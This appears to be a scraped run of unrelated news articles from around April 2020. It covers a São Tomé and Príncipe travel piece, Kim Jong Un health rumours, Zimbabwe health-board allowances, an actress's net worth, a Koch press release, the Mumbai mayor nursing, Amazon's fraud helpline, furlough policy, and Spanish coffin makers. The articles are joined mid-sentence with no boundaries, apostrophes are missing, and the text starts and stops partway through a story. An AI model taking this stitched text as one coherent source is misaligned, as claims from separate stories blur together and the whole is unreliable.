fitting for my son and I to fly to Lisbon for a two-night stopover at the beginning of our adventure. Staying at Memmo Alfama Hotel, in Lisbon old town, just behind the cathedral, we took advantage of the free walking tour and enjoyed exploring this hilly city so much that we invited our talkative guide and his girlfriend to join us for lunch. As he told us, 'Lisbon is like a game of Tetris, played with buildings.' Next morning, we flew to Africa, landing in Sao Tome the larger of the two islands that make up this country for a couple of nights relaxing by the pool and beach of Hotel Omali. Driving round with local guide, Daniel, we bought coconuts from roadside sellers, watched locals wash laundry in rivers, and learned that all islanders are descended from slaves brought over by the Portuguese. It was an eye-opening introduction to Africa's brutal past and present. 'I am not owned by the past. I am more interested in the future,' said Daniel. Principe, with a population of 7,000, is smaller and prettier than Sao Tome. Coming in to land after a 30-minute flight, we saw its jungle-covered hills and land edged with soft beaches. It seemed remarkably unspoilt. Tourism has only taken off in the past few years. To keep visitor numbers down, there is just one flight a day to Sao Tome from Principe, on a small plane a deliberate ploy to encourage sustainability. We sampled all three of the main hotels on Principe. Bom Bom Island hotel is on a tiny splinter of rock, 100 metres from the northern edge of Principe. Santo Antonio, the main settlement on Principe island Behold Pico Cao Grande, a 1,200ft-tall needle-shaped rock that rises out of jungle on Sao Tome Pipi Waterfall on Principe, which can be reached via one of the islands many walking trails It is named after the sound of waves rolling onto shore and has beachfront bungalows perfectly positioned so you can roll out of bed, step onto soft sand and go for a morning swim while looking out for low-flying parrots. Chaplin, an African grey parrot, lives at the hotel. She was caged once, until her owner released her to the wild. After a few weeks away, she returned, spending most days hanging out with her human friends and some lucky guests. After taking boat trips along the coast, exploring gorgeous empty beaches and snorkelling in clear waters, I can see why Chaplin never wanted to leave. Roca Sundy is an old plantation owners' house, located inland, that has been turned into a boutique guesthouse, with great views over the valleys below. We met up with local resident Sandra, who showed us round the hotel grounds, where she lives. Roca Sundy is situated in a sleepy village, complete with schools, bakery and tiny chocolate factory. Strolling round a nearby ruined hospital, now converted into a high-rise shanty town, we found ourselves in a house belonging to another local, Sheira. She runs a restaurant from her front room, feeding tourists grilled fish while her grandchildren play at our feet, or listen, fascinated by our accents. A carnival parade taking place in the town of Sao Tome on the island of Sao Tome That evening, sitting outside the hotel, high above the valley, we listened to parrots singing in the treetops as the sun set, and enjoyed the local, jackfruit-flavoured tipple. It was the perfect way to prepare for our next adventure turtles. We had seen their nests on the beaches, each clutch of eggs marked by a painted stick in the sand. Our guide cheerfully admitted that in the past he had caught turtles and eaten their eggs. Not any more. These days they are worth far more alive than dead, as the few tourists there are will happily pay to see them. Walking along the starlit beach, we stepped over hundreds of crabs and watched three huge green turtles each one the size of a wheelbarrow hauling themselves up the sand. It was fascinating. It takes them hours to find a spot, dig their nests, lay their eggs and return to the sea. A perfect example of the locals' favourite phrase: 'Leve, leve.' (Slow, slow.) Our final night was in a tented villa at Sundy Praia, at a whopping 800 a night more than twice the price of the other hotels. Proud of its eco credentials and use of local materials, it takes glamping to new heights, with enormous suites of rooms under canvas. Our bath was carved from solid rock and, apparently, weighed over a ton. It was a grand finale as we prepared to head for home. So, if you ever want a taste of tropical joy, just head south from London and keep on going until you hit the equator. When this pandemic is far behind us, I can think of no better place to go and celebrate the simple beauty of being alive. North Korean leader Kim Jong Un talks with South Korean President Moon Jae-in as they visit on the top of Mount Paektu in Mount Paektu, North Korea on Sept. 20, 2018. (Pyeongyang Press Corps/Pool/Getty Images) Kim Jong Un Might Be Trying to Avoid Coronavirus, South Korean Minister Says North Koreas Kim Jong Un might be staying out of the spotlight due to CCP virus concerns, according to a South Korean minister on Tuesday. South Korean Unification Minister Kim Yeon-chul said Kims absence from a ceremony on April 15 that celebrated his grandfather Kim Il Sungs birthday isnt unusual. According to reports, Kim has never missed the ceremony for his grandfather, the founder of the communist state, since he took power in 2011. It is true that he had never missed the anniversary for Kim Il Sungs birthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns, the minister told a parliamentary hearing, Reuters reported. I dont think thats particularly unusual given the current [coronavirus] situation, he added, referring to the CCP (Chinese Communist Party) virus. Kim, the unification minister, noted there were at least two instances since January where there were no sightings of Kim for about 20 days, the news agency reported. Meanwhile, North Korea has not reported any cases of the CCP virus despite sharing a border with China, where the virus originated last year. However, experts believe that its highly unlikely that no cases have been confirmed in the country, and there have been reports of quarantines and lockdowns in some areas. What is described by Washington-based North Korea monitoring project 38 North as a leadership train station servicing North Korean leader Kim Jong Uns Wonsan complex is seen in a satellite image with graphics taken over Wonsan, North Korea April 21, 2020. (North/Handout via Reuters) Speculation about Kims health has ramped up in the past week, with several news outlets in the United States and Asia reporting that he is in dire condition or is even dead. Over the weekend, a Hong Kong broadcaster reported that he died while a Japanese news outlet claimed that he was in a vegetative state, although both cited unnamed sources. South Korean officials, including Chung-in Moon, a foreign policy adviser to South Koreas President Moon Jae-in, told Fox News on Sunday that our government position is firm. Kim Jong Un is alive and well. He also added that no suspicious movements have so far been detected in North Korea. President Donald Trump also dismissed the reports during CCP virus briefings last week. I think the report was incorrect, Trump told reporters, adding that some news outlets were using outdated reports. North Koreas leader Kim Jong Un supervises a strike drill for multiple launchers and tactical guided weapon into the East Sea during a military drill in North Korea on May 4, 2019. (KCNA via Reuters) He told reporters: We have a good relationship with North Koreaas good as you can have. I mean, we have a good relationship with North Korea. I have a good relationship with Kim Jong Un, and I hope hes OK. The uncertainty about Kims health, considered a state security matter in North Korea, has been amplified due to Pyongyangs lack of public statements the matter. No mention of the reports has been carried in state-run news outlets. When it comes to North Korea you can never be too sure until you hear the news from the country itself, said David Maxwell, a North Korea specialist at the Foundation for the Defense of Democracies, according to the New York Post. But its worth noting that there are 6.5 million smartphones in North Korea now and even though the coverage is within the country, information has a way of getting out faster now than it did in the past. HEALTH Services Board (HSB) bigwigs have controversially awarded themselves hefty additional allowances, at a time that frontline health workers are getting measly salaries and incentives despite the onset of the global coronavirus pandemic. An HSB payment schedule that is in the possession of the Daily News shows that its top office bearers recently got huge added coronavirus allowances for just two weeks of work. For example, HSB chairperson Paulinus Sikhosana received a further 480 litres of petrol for his use, despite him already having a monthly allocation of 600 litres a month. He also got $800 worth of airtime, $2 250 for data bundles and $3 050 for transport. Sikhosana confirmed to the Daily News yesterday that he had approved the hefty allowances, adding that these were not enough as he worked in Harare while his home was in Bulawayo. Sikhosana confirmed to the Daily News yesterday that he had approved the hefty allowances, adding that these were not enough as he worked in Harare while his home was in Bulawayo. It is actually not enough because we do a lot of travelling. I am sometimes with the minister (Obadiah Moyo) when he visits institutions. At times we will be working online. So, we need data there is nothing unusual about the allowances. The officers have less because they do not come to work every day because of the lockdown shifts. You can get more from (Ruth) Kaseke (HSB executive director) because she has more information than I have, Sikhosana said. Meanwhile, his deputy Auxilia Chideme-Munodawafa was also given an additional 360 litres of fuel, on top of her monthly 600 litres. In addition, she received $750 for airtime, $2 250 for data bundles and $3 000 for transport. Other board members who are full time got 280 litres of fuel, $700 for airtime and $2 250 for data, while their part-time colleagues received 130 litres for fuel, $350 for airtime and $1125 for data. Kaseke was allocated an additional 360 litres of fuel, over and above her usual monthly allocation. She was also allocated $650 for airtime and $2 250 for data bundles while general manager Englebert Mbengwa and four others, who have monthly fuel allowances of 200 litres, were each given 200 more litres, $380 for airtime and $1 500 for data bundles. Their deputies got allowances ranging between 40 and 80 litres of fuel, between $150 and $300 for airtime, and between $400 and $900 for data bundles depending on the number of days they were on duty during the two weeks. The allowances come hard on the heels of deliveries to HSB bosses and other high ranking government officials of top-of-the-range vehicles. The hefty allowances also come at a time the government has been ordered by the High Court to provide health workers with personal protective equipment (PPE) among other essentials, in the fight against Covid-19. Aggrieved health workers told the Daily News yesterday that they were receiving $100 for airtime and the same for data bundles. They (HSB bosses) have these fat allowances yet all they do is seat in their plush offices while we take the risk on the ground. The CBS hit procedural drama, NCIS: New Orleans, wouldnt be nearly what it is without the talents of veteran actress, CCH Pounder. In the series, Pounder plays Jefferson Parish, Louisiana medical coroner, Dr. Loretta Wade, and Dwayne Prides (Scott Bakula) most important resource for solving NCIS crimes. What is Pounders net worth? A look at Pounders early career Rob Kerkovich as Forensic Agent Sebastian Lund, CCH Pounder as Dr. Loretta Wade, Scott Bakula as Special Agent Dwayne Pride, and Charles Michael Davis as Special Agent Quentin Carter | Sam Lothridge/CBS via Getty Images CCH (which stands for Carol Christine Hilaria) Pounder is a Georgetown, New Guiana native. The NCIS: New Orleans star was raised on a sugar cane plantation, according to IMDb. As a young girl, Pounder attended a convent boarding school in Britain. This is where her love of the theater surfaced. Once she graduated high school, Pounder studied at Ithica College in New York and pursued acting full-time. Pounders early work in theater includes The Mighty Gents, opposite Morgan Freeman. Eventually, she moved to Hollywood where she landed roles in All That Jazz, Im Dancing as Fast as I Can, and Bagdad Cafe. By the 1990s, Pounders Emmy nominated performance in ER opened even more doors within the TV circuit. By the time she became Dr. Loretta Wade on NCIS: New Orleans, shed already garnered nearly four decades of experience as a trained actress. NCIS: New Orleans connected Pounder with an old friend Though Pounders talents can be seen across many platforms and many years, theres one TV series she appeared on that still lingers to this day: Quantum Leap. Pounder had a one-time stint on the show as Mama Harper in the 1990 episode, Black on White on Fire August 11, 1965. The role is significant because, as many NCIS: New Orleans fans know, Quantum Leap starred Scott Bakula. Bakula and Pounder reunited on NCIS: New Orleans in 2014 and have been together on the series since. What is Pounders net worth? Aside from theater and early TV work, Pounders career also spans into film territory. Some of her credits include Godzilla: King of the Monsters, The Mortal Instruments: City of Bones, and Avatar (which is a 2009 Oscar nominee). Shes currently slated for two additional Avatar films, forthcoming. The Grammy Award nominee for Best Spoken Word Album, Grow Old Along with Me, the Best Is Yet to Be has a lot of different business ventures that inspire and fulfill her creatively. As an avid art collector whose work is often shown at various universities. CBS noted that shes, a founding member of Artists for a New South Africa and serves on the board of the African Millennium Foundation. Celebrity Net Worth estimates Pounders net worth at somewhere around $6 million at this time. This is from her combined streams of income via TV, film, and other opportunities. WICHITA, Kan., April 28, 2020 /PRNewswire/ -- Koch Engineered Solutions (KES), a unit of Koch Industries, Inc. (Koch), today announced the launch of "OnPoint," a connected solutions business whose mission is to leverage KES's unique engineering capabilities and expertise in combination with digital technology to deliver greater value for industry. OnPoint will embed the expertise of KES's equipment businesses into customers' operations to improve efficiency, yield, reliability, environmental performance, and safety. The new website for OnPoint is www.OnPointSolutions.com. "OnPoint represents KES's commitment to building new and greater preferred partnerships by more fully leveraging existing capabilities and adding new ones," said Dave Dotson, President of KES. "This is an important step in KES's transformation for further innovation and growth, and the experienced team we have leading OnPoint will provide unrivaled solutions and value for all our customers." OnPoint delivers real-time insights and enhanced system performance across a variety of industrial domains through a portfolio of digital solutions. OnPoint's solutions harness knowledge and experience from the KES equipment businesses to drive advanced, actionable insights that help operators identify root causes, analyze performance, and optimize equipment and operations. Smart Combustion, a capability developed by John Zink Hamworthy Combustion (John Zink), serves as a foundation for OnPoint with the virtual combustion assistant EMBER as well as ZoloSCAN. Koch-Glitsch's TowerView solution applies expertise in mass transfer and is another emerging solution in the OnPoint portfolio, along with established analytics platform CORTEX and business intelligence solution Energy Manager. This broad portfolio provides a common platform to allow plant operators to gain real-time, actionable instructions and advanced analytics insights. OnPoint's Smart Combustion solutions are currently being deployed at select Flint Hills Resources facilities, where EMBER is operating in heaters and furnaces. EMBER utilizes data already existing in site data historians to provide instructions to plants on how to reach their most optimized state of operation by reducing inefficiencies and focusing workflow where it is most valuable. When one Flint Hills petrochemical facility used EMBER, it saw a three to five percent increase in throughput for an individual furnace without significantly increasing firing rates. The company expected millions of dollars in new capability integrating EMBER into its operation. "Historically, industrial operations have not taken full advantage of the data they routinely capture, the knowledge of equipment designers, or advanced data analytics to enable actionable insights," said Chip Hilarides, President of OnPoint. "OnPoint was created to bring the deep expertise of John Zink, Koch-Glitsch, and other KES businesses to industrial operations and usher in the next generation of efficient, profitable operations. The OnPoint team works directly with customers to deliver solutions that help them operate safer, cleaner, more efficiently, and with higher throughput." KES has a proven history in combustion, emissions control, mass and heat transfer, separation solutions, and other industrial applications. To learn more about OnPoint and its connected solutions offerings, please visit www.OnPointSolutions.com or contact Dan Knight at [email protected]. About OnPoint OnPoint is a connected solutions business within Koch Engineered Solutions, a unit of Koch Industries, Inc., that leverages unique engineering capabilities and expertise in combination with digital technology. The OnPoint solutions portfolio drives advanced, actionable insights to help customers identify root causes, analyze performance, and optimize equipment as well as plant operations to improve efficiency, yield, reliability, environmental performance, and safety. More information is available at OnPointSolutions.com. About Koch Engineered Solutions KES provides uniquely engineered solutions in mass and heat transfer, combustion and emissions controls, filtration, separation, materials applications, automation and actuation. KES is located in Wichita, Kansas and is a subsidiary of Koch Industries, one of the largest private companies in the world. KES delivers superior value in developing, integrating, and applying innovative technical and service solutions for industrial value chains. More information is available at KochEngineeredSolutions.com. SOURCE Koch Engineered Solutions Related Links https://www.kochind.com 'It is time to give back to this city that has given me so much.' IMAGE: Mumbai Mayor Kishori Pednekar in her nursing uniform. The mayor will serve as a frontline worker at Mumbai's B Y L Nair Hospital. Photograph: Kishori Pednekar/Twitter Mumbai Mayor Kishori Pednekar joined work at the BYL Nair Hospital in central Mumbai as a nurse on Tuesday. "It will be the night shift from 11 pm to 7 am most probably, because I have responsibilities as a mayor during the day. I am awaiting orders from the dean. I cannot tell you how much I look forward to going to work and performing my duties to my patients and society," says the mayor. The former nurse-turned-politician's decision to return to nursing comes after a call to arms, in a manner of speaking, by Chief Minister Uddhav Thackeray asking all trained but retired healthcare personnel to join the Maharashtra government's efforts to battle the coronavirus pandemic which has already claimed 342 lives in the state. On Monday, when Pednekar walked into the Nair Hospital, the matron pulled her aside and asked her if she would mind wearing a nurse's uniform. "I looked at her in surprise, and she explained that the nursing students I had come to meet would feel a kinship with me," Pednekar, 58, tells Swarupa Dutt/Rediff.com in a hurried conversation over the phone from the mayor's residence. The matron found her a fresh uniform, accessories and the new COVID-19 normal -- a mask -- and that is the much-lauded image that Pednekar tweeted. "Main yeh uniform ko salute karti hoon (I salute this uniform. I have worn this for nine years when I worked as a nurse at the Jawaharlal Nehru Port Trust and I was emotional looking down at myself dressed in white," she says as she prepares to leave home to oversee food distribution amid the lockdown that entered its 35th day on Tuesday. Pednekar also went to the Sion Hospital in north central Mumbai to speak to nursing students there and motivate them. Ever since Prime Minister Narendra Damodardas Modi announced a national lockdown from March 25, the mayor has been inundated with phone calls from parents of nurses and nursing students beseeching her to take them off COVID-19 duty. "How can I do that? I won't. In a crisis like this, if we as health workers -- what do you call us, oh yes, frontline workers, right? -- as frontline workers, we are the first defence for the citizens. Quit the profession if you can't handle the pressure, but I will not heed their demands," she says. Mumbai's mayor acknowledges that fear is natural, with Maharashtra reporting 8,590 cases and 369 fatalities as of April 28. "We are battling an unseen enemy. It is dangerous without doubt and the students's fear is quite natural. I thought I should go and meet the nurses and nursing students, speak to them, motivate them," she says. "Housla badhana hai, bas aur kuch nahin. Hume aage badhna hai (I have to encourage them to fight, that's all, we have to go forward)," she adds. With the shortage of healthcare staff, nursing students in the second and third year of the nursing course are working as frontline COVID warriors at hospitals in Mumbai. Pednekar has conducted several sessions with nursing staff at the BrihanMumbai Municipal Corporation and state government-run medical colleges in Mumbai. The first session was on the morning of March 24. Modi announced the lockdown at 8 pm that evening. The next session was on April 1. At both these sessions, nurses and student nurses told her about inadequate protective gear. "I spoke to the authorities and got that fixed. At the third session on Monday, I spoke to them about my experiences as a nurse, I asked them about theirs, and in those minutes, in less than an hour, we formed a bond that will survive the virus." She feels overwhelmed at the reports coming in of fatalities and the rising number of cases, but urges people to focus on positive stories like the 231 zones which were out of the containment list after they didn't record a single case for the last 14 days. Born into a mill worker's family in the central Mumbai area of Parel, she says the hardships she faced growing up made her resilient. "Darne se kya hoga? Saamana karo (Why be afraid, face your fear). And don't give up. If I had, I would never have met what little success I have today." Shiv Sena founder Bal Thackeray motivated her to join politics, Pednekar recalls. "I wanted to make a difference. Nursing is a noble profession, but I wanted to reach out to lakhs of Mumbaikars as well," she says of her decision to quit nursing at the JNPT in Uran, Raigad, where she worked from 1993 to 2002 before joining politics. Pednekar won the municipal election from the G-South Ward which covers Worli (a COVID-19 hot spot) four times as a Shiv Sena corporator. "It is time to give back to this city that has given me so much. You can give back by staying home. But nurses can't work from home, we have to be out there where the battle is being fought," she says. At the session at the Sion Hospital on Tuesday, the nursing staff and students took a pledge. "No, it is not karenge ya marenge (do or die). Nobody will die. We pledged to get this city, this country rid of the virus." "To do whatever we can, whatever it takes." Students can download the HSC Science examination March 2020 provisional answer key by visiting the boards official website gseb.org. The Gujarat Secondary and Higher Secondary Education Board (GSEB) has released the answer key for the Class 12 Science board examination 2020 held in March. Students can download the HSC Science examination March 2020 provisional answer key by visiting the boards official website gseb.org. The board in its notification said that students can raise objection against the provisional answer key till 4 May. They will have to mail their objections to gsebsciencekey2020@gmail.com. The notification said that the answer key has been released for GSEB Class 12 Science subjects - Mathematics, Physics, Chemistry and Biology. According to a report by NDTV, Ashwani Kumar, Secretary to the Gujarat chief minister, said that the evaluation of Class 10 and Class 12 board exam answer sheets begun on 16 April. The Class 10 GSEB exam was held from 5 March to 17 March. The state board examination for Class 12 began on 5 March and ended on 21 March. Last month, the Gujarat government had decided to promote students of classes 1 to 9 and 11 of the state board, as the annual exams could not be conducted due to the coronavirus pandemic. The Gujarat government has asked schools, colleges and other educational institutions to remain shut till the COVID-19 lockdown. Colleges and universities have been told to declare vacation till 15 May. The central government has announced countrywide lockdown till 3 May to restrict the spread of the novel coronavirus. (ANSAmed) - CAIRO, APRIL 28 - The Libyan High Council of State (HSC), a sort of senate in Tripoli, issued a statement on its Facebook page Tuesday in which it said the "declarations of Khalifa Haftar, which represent a coup d'etat against the democratic way, are not new but are a continuation of his failed putsches, and they serve to cover his repeated defeats". The statement was in reference to a speech made by General Khalifa Haftar on Monday evening in which he declared that he had received a "popular mandate" to govern Libya. The HSC, also known as the Supreme Council of State, represents a political counterweight in Tripoli to the House of Representatives (HOR), which is split in two between Tobruk and Tripoli. In the statement, the HSC confirmed its "attachment to the political inter-Libyan accord" and said it is calling on MPs to "reunite to resume political dialogue". It also declared the "need to annihilate military putsch plan and confirm that the only way to govern Libya is through elections". The HSC said it is also calling on "the international community with the UN at its head to assume its political and moral responsibilities and reject this absurdity that the war criminal is carrying out", referring to Haftar. Peter Stano, spokesman for EU High Representative for Foreign Affairs Josep Borrell, said the EU is following developments in Libya "with great concern". "We have been asking for some time for the parties to stop combat and start a political process. In particular, the latest declarations by General Khalifa Haftar and every attempt to push towards unilateral solutions, including by force, will never bring a sustainable solution for the country and cannot be accepted," Stano said. "There needs to be an inclusive political solution under the aegis of the UN. This is why we have been asking for some time for the parties and their partners to make an effort to return to negotiations as soon as possible, to present a proposal that puts an end to conflict in the context of the model of the Berlin political process," Stano said.(ANSAmed). (Natural News) As you might expect, online retail giant Amazon has been enjoying incredible sales these days as people are generally stuck at home around the world around $11,000 a second of sales, to be more precise. Their share price has climbed by more than a third in under a month, and owner Jeff Bezos has solidified his spot as the richest person in the world with a personal net worth of $138 billion. With all this good fortune, you might think theyd be expanding their customer service offerings to keep up with the sales influx, but the opposite appears to be true. In fact, the Daily Mail reports that theyve closed an essential fraud helpline right at a time when cybercrime is soaring, and lawmakers in the UK are calling for action. When customers whose accounts have been hacked call the help line, theyre greeted with a message asking them for patience during this challenging time before being directed to the website which is where many people came from in the first place because they were unable to resolve their issue online. Customer service lines are exactly the type of work that can be conducted from home, and many other major firms are taking this approach, including some of the worlds top banks. Why cant Amazon do the same? One complaint website reports that theyve seen more than 3,500 complaints about Amazon in the past two months. It makes no sense that a forward-thinking and tech-savvy company like Amazon hasnt figured out a way to man the service line regardless of what is going on in the world. One problem is that many Amazon customers store their credit card details in their account for easy checkout. When their accounts are only protected by their email and password which is the traditional setup its easier for hackers to get inside than it is for those who take the extra step setting up two-factor verification. On top of their credit card information, hackers can get other personal information from their Amazon account, such as their address and phone number, and trade this info with other criminals who want to target them with other types of scams. People, lawmakers frustrated with Amazons disregard for protecting customers One woman told the Daily Mail that she had trouble reaching Amazon after discovering that scammers bought 150 worth of gift cards using her account. She couldnt get in touch via phone, but her bank refunded the money when she contacted them directly. However, a week later, Amazon locked her account and she has been unable to access it since then. She was disconnected when she tried to use online chat to sort it out. Another customer tried to contact the company when she noticed a fraudulent transaction. Although she is legally blind and needs to speak to someone, she received an automated message on the phone saying she needed to contact them through their app. Labour Party MP Dame Margaret Hodge stated: Digital giants like Amazon need to stop ignoring their loyal customers and start taking seriously their responsibility to tackle online fraud. Amazon has also come under fire for not doing enough to protect its workers from coronavirus. Two employees who criticized the firm over the unsafe conditions at some warehouses were fired recently, and dozens of warehouse and delivery workers have tested positive for the virus. While many firms have been furloughing workers, Amazon has been hiring tens of thousands of workers to keep up with the soaring demand. So far, its staff numbers have risen by at least 175,000 since the start of the coronavirus crisis. With such a rapidly growing workforce, how is it possible that they dont have enough people to answer a phone line and help protect their loyal customers from fraud? Sources for this article include: DailyMail.co.uk TheGuardian.com The Chancellor is being urged to shake up support for furloughed workers so that businesses can gradually bring them back on reduced hours. At the moment, the coronavirus jobs retention scheme pays 80 per cent of an employee's wages up to 2,500 a month if they are temporarily furloughed and do no work for that firm during this period. But think-tank Reform said the approach was too 'rigid' and risked mass redundancies when the scheme ends. Chancellor Rishi Sunak is being urged to let businesses bring back employees on reduced hours but still receive some state support as lockdown is lifted It is calling on Rishi Sunak, the Chancellor, to let businesses bring back employees on reduced hours but still receive some state support as lockdown is lifted. Reform said this would involve 'topping up' staff wages for the extra hours they would normally have worked before the pandemic, rather than covering their entire pay packet. Aidan Shilson-Thomas, one of the report's authors, said: 'The jobs retention scheme has served its primary purpose of preventing a catastrophic wave of redundancies. 'Ministers must allow 'short-time' working so employers have the flexibility to bring staff back to work in a gradual fashion while receiving some support, once the lockdown begins to be lifted.' Countries such as Germany, France and Canada, have put workers on reduced hours and given support to cover the hours they were no longer working. The French scheme pays 70 per cent of the cost of an employee's unworked hours. Reform said UK businesses face a 'cliff-edge' where government support would suddenly be unavailable, raising the risk of job cuts and slowing economic recovery'. Joe Biden, the apparent Democratic presidential nominee, had an update about his search for a vice presidential partner: He said he would choose Michelle Obama as his running mate "in a heartbeat." "She's brilliant. She knows the way around. She is a really fine woman. The Obamas are great friends," the former vice president told KDKA-TV of Pittsburgh. Biden, however, said that he doesn't think the former first lady would agree. "I don't think she has any desire to live in the White House again," he said. Obama was voted the most admired woman in 2018 and 2019, according to a Gallup poll. Her book "Becoming" became the best-selling memoir last year, selling more than 10 million copies. In "Becoming," Obama made her political aspirations clear. "I'll say it here directly: I have no intention of running for office, ever," she wrote. As for Biden, there is no shortage of potential vice presidential candidates, including some of his former primary opponents who have expressed interest in the job. In December, Biden said he'd consider choosing Sen, Kamala Harris, D-Calif., and last week, Sen. Elizabeth Warren, D-Mass., told MSNBC's Rachel Maddow that she'd say yes if asked to be his running mate. Biden has been careful to say he's not looking for "someone to come in and genuflect in the White House," as he told Iowans in January. "You have to be willing to have someone with you who will tell you the truth that they think you're wrong and not be intimidated by the fact that you're the president behind the desk." Source: Xinhua| 2020-04-28 11:13:01|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- The Chinese government has decided to send a team of medical experts to Kuwait to help the country fight the COVID-19 pandemic, Foreign Ministry spokesperson Geng Shuang announced Tuesday. The team is organized by the National Health Commission and selected by the health commission of Ningxia Hui Autonomous Region, according to the spokesperson. Enditem Minister of Health Paulette Lenert and Minister of Higher Education and Research Claude Meisch will address the public on the latest national coronavirus developments. Health Minister Paulette Lenert, Minister of Higher Education and Research Claude Meisch will present the health and research measures that frame the Grand Duchy's deconfinement strategy. Find our summary of the conference here. The ministers will be joined by LIH Director and representative of Task Force COVID-19 Research Luxembourg, Prof. Dr. Ulf Nehrbass. When asked whether he intervened to keep the plant open, Ricketts said: "We didn't tell them to close; we didn't tell them to open." Ricketts reiterated that he won't tell plants to close and that the plants are vital to the nation's food supply. It's assumed that Smithfield originally made the decision to close because of a spike in COVID-19 cases associated with the Crete plant. Public Health Solutions, the health department that includes Saline County, had reported nearly 50 COVID-19 cases in plant employees as of Sunday. According to the Nebraska Department of Health and Human Services, there were 87 cases in Saline County as of Tuesday night. There also are at least 19 cases in Lancaster County residents that are linked to the plant, according to Lopez. Ricketts said there are plans for more testing, and Bryan Health was doing a second mobile testing clinic in Crete on Tuesday. Ricketts said he also encouraged Smithfield officials to contact Shelly Schwedhelm and Dr. James Lawler from the University of Nebraska Medical Center, who have toured several meat plants in Nebraska and offered advice on how to improve worker safety. An emergency physician at a hospital in New York has suggested that the government should begin to end the lockdown and allow residents to get back to work. Writing in The New York Post, Daniel G Murphy, chairman of the Department of Emergency Medicine at St Barnabas Hospital in The Bronx, called the pandemic the worst health care disaster of my 30-year career but maintained that it was time to start easing stay-at-home measures. The physician described the slowing of coronavirus cases after the city reached its peak as a discrete, noticeable event. The way this transpired tells me the ebb and flow had more to do with the natural course of the outbreak than it did with the lockdown, Dr Murphy claimed. He went on to warn that the department was seeing a steep decrease in non-Covid patients, and stated that he feared patients could be too afraid to access emergency treatment because of fear of the coronavirus. We usually average 240 patients a day. For the last week, we averaged fewer than 100. That means our patients in this diverse, low-income community are afraid to come to the ER for non-Covid care. he said. He speculated that those with heart problems, asthma, bacterial infections and strokes may be needlessly dying at home out of fear of accessing emergency treatment during the pandemic. The doctor also argued in the column that he believed the city had already formed a degree of natural herd immunity from the disease. Covid-19 is more prevalent than we think. Many New Yorkers already have the Covid-19 infection, whether they are aware of it or not, the doctor claimed. While emphasising the need for increased testing, Dr Murphy said that improvement of testing should happen in parallel to restarting the economy. At present, the testing is imperfect. We cant wait months. We must protect the vulnerable and mitigate without destroying the economy. There have been more than 292,0000 recorded cases of the virus in New York State and 17,000 people have died. On Sunday, New York governor Andrew Cuomo reported the lowest number of deaths in state since March, and outlined a loose plan the begin the gradual re-opening of the state. However, he declined to offer up any specific dates or timelines beyond the expiration of the current order and said: Im not comfortable getting too far ahead of ourselves. Fifteenth of May is when the governors lockdown measures across the state are set to expire. Gov Cuomo said on Monday that he would be extending them in some areas but for others, there was a chance they may begin to be relaxed. I will extend them in many parts of the state but in some parts of the state, some regions, you can make the case that we should unpause on May 15. But you have to be smart about it, he said. "We are thrilled to see the innovative work submitted in this years competition and look forward to providing up-and-coming engineers with the opportunity to gain industry exposure and recognition for years to come. Donna Edenhart, Director of Membership and Sections, SAE International SAE International announced today the four winners of the second annual SAE Student and Young Professional Technical Paper Competition. Selected by SAE Internationals Competition Panel, the winners two students and two young professionals will have their papers published and be recognized with a plaque and monetary prize to support their future in mobility engineering. This competition recognizes young individuals whose thinking will help evolve the world of mobility engineering, said Donna Edenhart, Director of Membership and Sections at SAE International. We are thrilled to see the innovative work submitted in this years competition and look forward to providing up-and-coming engineers with the opportunity to gain industry exposure and recognition for years to come. The 2020 student winners are: George Koutsakis, Ph.D. Student, University of Wisconsin George is working as a research assistant at the Engine Research Center (ERC) of the University of Wisconsin-Madison, focusing his work on the in-cylinder multilayer wall heat transfer in internal combustion engines. He was the first team leader of the Typhoon MotoRacing project and received his degree in Mechanical Engineering at the University of Western Macedonia - Greece in 2016. He then joined the ERC in May 2017. Erika Ziraldo, Ph.D. Student, University of Guelph Erikas doctoral research investigates patterns in human driving behavior for applications in accident reconstruction and decision-making for autonomous vehicles. Erika recently completed a Mitacs Accelerated Internship with Kodsi Engineering where she applied her research on driver response times to real-world accident reconstructions. Her current research is focused on the interactions between autonomous vehicles and human drivers during hazardous scenarios. The 2020 young professional winners are: Dhaval Lodaya, Senior Project Engineer, Gamma Technologies LLC Dhaval is a senior project engineer in Electrified Vehicle Applications at Gamma Technologies, where he works in system and component level modeling and controls of hybrid electric and electric vehicles, developing high level vehicle controllers including rule based, optimal controls and low-level vehicle controllers. Dhaval is responsible for development of GT-DRIVE+, a vehicle modeling framework and for the development of optimal control algorithms such as ECMS and dynamic programming. He earned his masters degree in Mechanical Engineering with a focus on Electrified Powertrain Controls from Michigan Technological University. Dr. Dario Lopez-Pintor, Post-Doctoral Researcher, Sandia National Laboratories Dario is currently a post-doctoral appointee of the Department of Engine Research, Combustion Research Facility Sandia National Laboratories, where he works under the mentoring of Dr. John E. Dec in the Low-Temperature Gasoline Combustion Laboratory. He received his Bachelor of Science in Industrial Engineering and his Master of Science in Mechanical Engineering from University of Vigo in 2013, where he graduated with honors, obtaining the Spanish National Outstanding Graduation Award from the Spanish Ministry of Science and Education. He received his Master of Science in Reciprocating Internal Combustion Engines and his Ph.D. in Propulsive Systems for Transport Media from Polytechnic University of Valencia in 2014 and 2017, respectively, where he graduated Cum Laude. He received the SAE Excellence in Oral Presentation Award for his presentation at the SAEs WCX World Congress Experience 2019. About SAE International SAE International is a global association committed to advancing mobility knowledge and solutions for the benefit of humanity. By engaging nearly 200,000 engineers, technical experts and volunteers, we connect and educate mobility professionals to enable safe, clean, and accessible mobility solutions. We act on two priorities: encouraging a lifetime of learning for mobility engineering professionals and setting the standards for industry engineering. We strive for a better world through the work of our philanthropic SAE Foundation, including award-winning programs like A World in Motion and the Collegiate Design Series. More at http://www.sae.org. Three generations ago, the residents of Pinor, a village of 1,176 souls in the northwestern Spanish region of Galicia, decided to use the surrounding pine forests to make wooden coffins. The villagers figured that their line of business would benefit from stable demand, free from the ups and downs of the furniture sector. It might even experience exponential growth in the event of wars, natural disasters or epidemics. But the coronavirus pandemic struck at a time when several local entrepreneurs had already retired, while others were struggling to compete with the unbeatable prices of Chinese-made caskets, which are favored by funerary services and insurance companies over higher-quality national products. If we were able to make 500 caskets a day, theyd get sold Joaquin Vazquez, coffin manufacturer These days Pinor, the village that makes a living out of death, has suddenly found itself overwhelmed by the demand for coffins. The massive imports of chipboard caskets for under 100 have slowed down, and traditional manufacturers from Galicia now find themselves out of stock and flooded with orders that will keep them busy at least until the month of August. Of the 13 